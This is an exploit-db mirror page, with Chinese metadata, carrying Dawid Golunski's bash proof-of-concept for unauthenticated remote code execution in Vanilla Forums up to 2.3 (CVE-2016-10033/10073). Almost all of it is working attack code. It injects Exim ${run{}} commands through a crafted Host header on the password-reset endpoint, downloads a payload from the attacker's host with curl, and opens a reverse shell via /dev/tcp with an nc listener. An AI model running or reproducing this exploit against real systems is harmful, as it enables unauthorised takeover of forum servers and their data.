Vanilla Forums < 2.3 - Remote Code Execution

  • 作者： Dawid Golunski
    日期： 2017-05-11
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/41996/
  • #!/bin/bash
# 
#__ __ ____ __ 
# / / _______ _____ _/ // / / /___ ______/ /_______________
#/ / / _ \/ __ `/ __ `/ // /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
# / /___/__/ /_/ / /_/ / // __/ /_/ / /__/ ,< /__/ /(__) 
#/_____/\___/\__, /\__,_/_//_/ /_/\__,_/\___/_/|_|\___/_//____/
#/____/ 
# 
#
# Vanilla Forums <= 2.3 Remote Code Execution (RCE) PoC Exploit 0day
# Core version (no plugins, default config.)
#
# CVE-2016-10033 (RCE)
# CVE-2016-10073 (Header Injection)
#
# vanilla-forums-rce-exploit.sh (ver. 1.0)
#
#
# Discovered and coded by 
#
# Dawid Golunski
# https://legalhackers.com
# https://twitter.com/dawid_golunski
# 
# ExploitBox project:
# https://ExploitBox.io
#
#
# Exploit code:
# https://exploitbox.io/exploit/vanilla-forums-rce-exploit.sh
#
# Full advisory URL:
# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html
#
# Related advisories:
# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html
#
# White-paper 'Pwning PHP mail() function For Fun And RCE'
# https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
#
#
# Usage:
# ./vanilla-forums-rce-exploit.sh target-forum-url reverse_shell_ip
#
# Tested on:
# Vanilla Core 2.3
# https://open.vanillaforums.com/addon/vanilla-core-2.3
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulnerabilities/exploitation? 
#
# 
#.;lc'
#.,cdkkOOOko;.
# .,lxxkkkkOOOO000Ol' 
# .':oxxxxxkkkkOOOO0000KK0x:' 
#.;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. 
# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.
#'';ldxxxxxdc,.,oOXXXNNNXd;,. 
# .ddc;,,:c;. ,c: .cxxc:;:ox: 
# .dxxxxo, ., ,kMMM0:.., .lxxxxx: 
# .dxxxxxc lW. oMMMMMMMKd0 .xxxxxx: 
# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: 
# .dxxxxxc.xN0xxxxxxxkXK,.xxxxxx: 
# .dxxxxxclddOMMMMWd0MMMMKddd. .xxxxxx: 
# .dxxxxxc.cNMMMN.oMMMMx'.xxxxxx: 
# .dxxxxxc lKo;dNMN.oMM0;:Ok.'xxxxxx: 
# .dxxxxxc;Mc .lx.:o,Kl'xxxxxx: 
# .dxxxxxdl;. ., .. .;cdxxxxxx: 
# .dxxxxxxxxxdc,.'cdkkxxxxxxxx: 
#.':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.
#.;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
# .':oxxxxxxxxx.ckkkkkkkkxl,. 
# .,cdxxxxx.ckkkkkxc. 
#.':odx.ckxl,.
#.,.'.
#
# Subscribe at:
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------

intro="
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function prep_host_header() {
cmd="$1"
rce_cmd="\${run{$cmd}}";

# replace / with ${substr{0}{1}{$spool_directory}}
#sed 's^/^${substr{0}{1}{$spool_directory}}^g'
rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"

# replace ' ' (space) with 
#sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
#return "target(any -froot@localhost -be $rce_cmd null)"
host_header="target(any -froot@localhost -be $rce_cmd null)"
return 0
}


echo "$intro"| base64 -d

if [ "$#" -ne 2 ]; then
	echo -e "Usage:\n$0 target-forum-url reverse_shell_ip\n"
	exit 1
fi
target="$1"
rev_host="$2"


echo -e ' \e[44m| ExploitBox.io |\e[0m'
echo -e "
\e[94m+ --=|\e[0m \e[91mVanilla Forums <= 2.3 Unauth. RCE Exploit \e[0m\e[94m|\e[0m"
#sleep 1s
echo -e "\e[94m+ --=|\e[0m \e[94m|\e[0m
\e[94m+ --=|\e[0m Discovered & Coded By \e[94m|\e[0m
\e[94m+ --=|\e[0m \033[94mDawid Golunski\033[0m\e[94m|\e[0m 
\e[94m+ --=|\e[0m \033[94mhttps://legalhackers.com\033[0m\e[94m|\e[0m 
\e[94m+ --=|\e[0m \033[94m@dawid_golunski\033[0m \e[94m|\e[0m 
\e[94m+ --=|\e[0m \e[94m|\e[0m
\e[94m+ --=|\e[0m \"With Great Power Comes Great Responsibility\" \e[94m|\e[0m 
\e[94m+ --=|\e[0m\e[91m*\e[0m For testing purposes only \e[91m*\e[0m\e[94m|\e[0m 

"

echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then 
	
	echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
	#sleep 2s
	#sleep 2s

	# Host payload on :80
	RCE_exec_cmd="(sleep 5s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
	echo "$RCE_exec_cmd" > rce.txt
	python -mSimpleHTTPServer 80 2>/dev/null >&2 &
	hpid=$!

	# POST data string
	data='hpt=&Target=discussions&Email=admin&Request+a+new+password=Request+a+new+password&DeliveryType=VIEW&DeliveryMethod=JSON'

	# Save payload on the target in /tmp/rce
	cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
	prep_host_header "$cmd"
	curl -H"Host: $host_header" -0 -s -i -d "$data" $target/entry/passwordrequest | grep -q "200 OK"
	if [ $? -ne 0 ]; then
		echo "[!] Failed conecting to the target URL. Exiting"
		exit 2
	fi
	echo -e "\e[92m[+]\033[0m Connected to the target"
	echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
	sleep 2s

	# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
	cmd="/usr/bin/nohup /bin/bash /tmp/rce"
	prep_host_header "$cmd"
	#echo -e "Host Payload2: \nHost: $host_header"
	curl -H"Host: $host_header" -s -0 -i -d "$data" $target/entry/passwordrequest >/dev/null 2>&1 &
	echo -e "\n\e[92m[+]\033[0m Payload executed!"

	echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
	nc -vv -l 1337
	#killall python
	echo
else 
	echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
	exit 0

fi
	#kill -9 $hpid

echo "Exiting..."
exit 0